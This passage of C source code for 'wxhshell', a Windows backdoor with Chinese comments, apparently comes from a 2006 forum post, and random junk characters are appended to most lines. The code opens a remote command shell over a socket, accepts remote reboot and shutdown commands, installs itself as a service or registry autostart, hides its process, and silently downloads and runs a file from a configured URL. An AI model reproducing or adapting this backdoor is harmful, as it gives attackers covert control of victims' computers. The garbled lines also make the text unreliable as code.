  else  {~w!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xZloEfv.B  
  } ?4Rq +  
  else { {WeRFiQ?-  
jX t5.9 t  
    switch(cmd[0]) { /~?[70B}E  
  yV&]i-ey  
  // 帮助 NxFCVqGb  
  case '?': { qa6HwlC1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V {}TG]  
    break; F0kQ/x  
  } +5kQ;D{+  
  // 安装 >9<rc[  
  case 'i': { XqcNFSo)  
    if(Install()) Jr>Nc}!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'w|N} 4  
    else M?['HoRo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s(MdjWw  
    break; ^6!8)7b  
    } Lr`Gyl62  
  // 卸载 wvr`~e  
  case 'r': { Cth<xn(Q  
    if(Uninstall()) LXR>M>a`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HEK?z|Ne  
    else s:tWEgZk?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T%YN(f  
    break; _e|-O>#pl  
    } B5;94YIN  
  // 显示 wxhshell 所在路径 /[q_f  
  case 'p': {  BfW@f  
    char svExeFile[MAX_PATH]; ksYPF&l  
    strcpy(svExeFile,"\n\r"); A=*6|1w;  
      strcat(svExeFile,ExeFile); $! g~pV  
        send(wsh,svExeFile,strlen(svExeFile),0); |CBJ8],mT  
    break; KF`mOSP  
    } 8yuTT^  
  // 重启 Imo?)dYK  
  case 'b': { :a( Oc'T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pT;xoe   
    if(Boot(REBOOT)) =]<X6!0mR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u:^9ZQ+  
    else { W:2]d  
    closesocket(wsh); ,^@/I:  
    ExitThread(0); XKT[8o<L  
    } \@_?mL@=  
    break; SMQC/t]HT  
    } 9a'}j#mJo  
  // 关机 @\=4 Rin/q  
  case 'd': { >vuR:4B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g_"B:DR  
    if(Boot(SHUTDOWN)) >R\!Qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%&w\<(SG  
    else { 8%b-.O:_$  
    closesocket(wsh); i6^-fl  
    ExitThread(0); pWb8X}M  
    } l!}7GWj  
    break; (IAR-957pN  
    } W:2j.K9!  
  // 获取shell 1.a:iweN  
  case 's': { tA K=W$r  
    CmdShell(wsh); :,'.b|Tl.b  
    closesocket(wsh); cs]3Rp^g  
    ExitThread(0); R ~#&xfMd.  
    break; " _TAo  
  } 2]tW&y_i  
  // 退出 AxCFZf5  
  case 'x': { asbFNJG{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4&B|rf  
    CloseIt(wsh); *+J`Yk7}  
    break; z,SNJIsx  
    } IXR%IggJA  
  // 离开 jZq CM{  
  case 'q': { =%;TVJk*a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /8lmNA  
    closesocket(wsh); ` >k7^!Ds  
    WSACleanup(); nA+gqY6 6|  
    exit(1); >i2WYT  
    break; In}~bNv?  
        } ;O({|mpS\  
  } BM02k\%  
  } iDlg>UYd  
q9(hn_X@/  
  // 提示信息 1_)Y{3L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |eej}G(,m}  
} ^O3p:X4u  
  } 0}$R4<"{Y>  
H$xUOqL  
  return; v+d? #^  
} 5>h# hcL  
n<>]7-  
// shell模块句柄 <T$rvS  
int CmdShell(SOCKET sock) en16hd>^W:  
{ <!~NG3KW[>  
STARTUPINFO si; &3YXDNm  
ZeroMemory(&si,sizeof(si)); +`.,6TNVlY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #:[CF:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9:*a9xT,  
PROCESS_INFORMATION ProcessInfo; 28 ;x5m)N  
char cmdline[]="cmd"; { b7%Zd3-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AH# Dk5#G  
  return 0; FC8#XZp  
} EA<x$O  
^W[3Ri G  
// 自身启动模式 u%nhQ%  
int StartFromService(void) oMF[<Xf  
{ ;VPYWss  
typedef struct ]"U/3dL5  
{ /SJI ~f+$  
  DWORD ExitStatus; Opf^#6'mq  
  DWORD PebBaseAddress; ~G8haN4  
  DWORD AffinityMask; E <h9o>h  
  DWORD BasePriority; O[HBw~  
  ULONG UniqueProcessId; ^e1mK4`  
  ULONG InheritedFromUniqueProcessId; ?xzDz  
}   PROCESS_BASIC_INFORMATION; p~Mw^SN'  
Uy{ZK*c8i  
PROCNTQSIP NtQueryInformationProcess; jGOE CKP  
0|`iop%(n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8,?*eYNjb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QQX7p!~E  
{3\{aZ8)  
  HANDLE             hProcess; XM?C7/^k  
  PROCESS_BASIC_INFORMATION pbi; 3qrjb]E%}  
$WZHkV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z`{GjV3%wH  
  if(NULL == hInst ) return 0; Xa&0j&AH  
604^~6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 78FK{Cr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cg%}=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n,%/cUl  
jg=}l1M"  
  if (!NtQueryInformationProcess) return 0; wXUgxa  
F!ra$5u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @i@f@.t  
  if(!hProcess) return 0; 87:V-*8  
3>buZ6vh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ct9*T`Gl  
j79$/ Ol  
  CloseHandle(hProcess); oJVpJA0IA  
t3;QF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D P+W* 87J  
if(hProcess==NULL) return 0; (:ij'Zbz  
3Cl&1K #5  
HMODULE hMod; 420yaw/":  
char procName[255]; ,M$ J yda  
unsigned long cbNeeded; 5*r5?ne  
h>&t``<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7>yb8/J  
? -`8w _3  
  CloseHandle(hProcess); &%`0&y  
m7m)BX%O  
if(strstr(procName,"services")) return 1; // 以服务启动 SI/p8 ^  
T+)#Du  
  return 0; // 注册表启动 aUEnQ%YU"  
} NC{8[*Kx5  
? ]hS^&  
// 主模块 vK8!V7o~h%  
int StartWxhshell(LPSTR lpCmdLine) z]R)Bh  
{ 'V(9ein^Q  
  SOCKET wsl; EJJW  
BOOL val=TRUE; [fr!J?/@  
  int port=0; x.aqy'/`  
  struct sockaddr_in door; Ky6 d{|H  
t%]b`ad  
  if(wscfg.ws_autoins) Install(); F=~LVaF/_  
g 9:V00^<  
port=atoi(lpCmdLine); qM:*!Aq 0g  
;&]oV`Ib  
if(port<=0) port=wscfg.ws_port; z%Ivc*x5  
U&SgB[QHO  
  WSADATA data; rd4mAX6@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '| bHu  
3"iJ/Hc}9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }i@%$Ixsn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m[6c{$A/w  
  door.sin_family = AF_INET; tf?"AY4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DO9_o9'  
  door.sin_port = htons(port); 4W36VtQ@E  
I"r[4>>B>0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0;x<0P  
closesocket(wsl); 5Z(#)sa0Og  
return 1; E sx`UG|  
} $5Tjo T  
#]FJx  
  if(listen(wsl,2) == INVALID_SOCKET) { {xJ<)^fD8  
closesocket(wsl); $o>6Io|D  
return 1; Ls(l  
} udGZ%Mr_  
  Wxhshell(wsl); qq[Enf|/y  
  WSACleanup(); Ai.^~#%X  
Bz*6M  
return 0; T{mIk p<  
@RFJe$%  
} 9:]|TIPi  
5WU ? Km  
// 以NT服务方式启动 7G5VwO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Xk,Nbcqt  
{ @8'LI8 \/  
DWORD   status = 0; iVqXf;eB!5  
  DWORD   specificError = 0xfffffff; 4dI =  
]ppws3*Pa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ()%;s2>F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f^9ntos|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E8PlGQ~z{d  
  serviceStatus.dwWin32ExitCode     = 0; fGMuml?[ e  
  serviceStatus.dwServiceSpecificExitCode = 0; g%T`6dvT  
  serviceStatus.dwCheckPoint       = 0; )b;}]C  
  serviceStatus.dwWaitHint       = 0; so@wUxF  
5qQ\H}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F@Cxjz  
  if (hServiceStatusHandle==0) return; nj5Hls  
,NoWAmv  
status = GetLastError(); iE=:}"pI"  
  if (status!=NO_ERROR) NM&R\GI  
{ &xMQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \s">trXwX  
    serviceStatus.dwCheckPoint       = 0; W#lt_2!j  
    serviceStatus.dwWaitHint       = 0; Wc!.{2  
    serviceStatus.dwWin32ExitCode     = status; rEG!A87Zz  
    serviceStatus.dwServiceSpecificExitCode = specificError; eCXw8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :}p<Hq 8Z  
    return; dn|OY. `|  
  } NGOyd1$7N  
?D S|vCae  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F@u>5e^6  
  serviceStatus.dwCheckPoint       = 0; hxx`f-#=  
  serviceStatus.dwWaitHint       = 0; <CY<-H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V}+Ui]ie|I  
} #JW~&;  
%8~g#Z  
// 处理NT服务事件,比如:启动、停止 T$Rj/u t1  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  H= (Zx  
{ c$52b4=a  
switch(fdwControl) R\,qL-Br  
{ 6T ,'Oz  
case SERVICE_CONTROL_STOP: d2[R{eNX=  
  serviceStatus.dwWin32ExitCode = 0; ZRLS3*`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h$rk]UM/Q  
  serviceStatus.dwCheckPoint   = 0; w@&(=C  
  serviceStatus.dwWaitHint     = 0; (=/}i'  
  { wl:[Ad  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8u4FagQ,  
  } lko k2  
  return; ( t59SY  
case SERVICE_CONTROL_PAUSE: GMQKR,6VM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B{\qYL/~  
  break; nZ8f}R!f:  
case SERVICE_CONTROL_CONTINUE: ZIikDi h1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ])iw|`@dJ  
  break; X6k-a;  
case SERVICE_CONTROL_INTERROGATE: 2r>I,TNHl  
  break; W+D{4:  
}; RLr^6+v)U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rX@?~(^ML  
} Spt;m0W90  
C!s !j  
// 标准应用程序主函数 w^wh|'u^_@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J^)=8cy  
{ Y!w {,\3  
^.~m4t`U  
// 获取操作系统版本 Tg\wBhJr|  
OsIsNt=GetOsVer(); %:/?eZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `sPH7^R  
Rg6/6/ IN  
  // 从命令行安装 _1kcz]]F  
  if(strpbrk(lpCmdLine,"iI")) Install(); gzeTBlXg  
Lm"zW>v  
  // 下载执行文件 \1mTKw)S  
if(wscfg.ws_downexe) { *zTEK:+_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SWPb=[WEz  
  WinExec(wscfg.ws_filenam,SW_HIDE); VAet!H+]  
} +je{%,*  
@]xH t&j  
if(!OsIsNt) { drK &  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,R2;oF_  
HideProc(); Lc5I?}:;L  
StartWxhshell(lpCmdLine); 0;avWa)Q  
} wwVg'V;  
else >[a&,gS  
  if(StartFromService()) fe$OPl~  
  // 以服务方式启动 Ch,%xs.)G  
  StartServiceCtrlDispatcher(DispatchTable); O(CmdSk,  
else ~;P>}|6Y  
  // 普通方式启动 8xQjJ  
  StartWxhshell(lpCmdLine); K6M_b?XekA  
a<d$P*I(cH  
return 0; -G@:uxB  
}
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只看该作者 1 发表于: 2006-10-10
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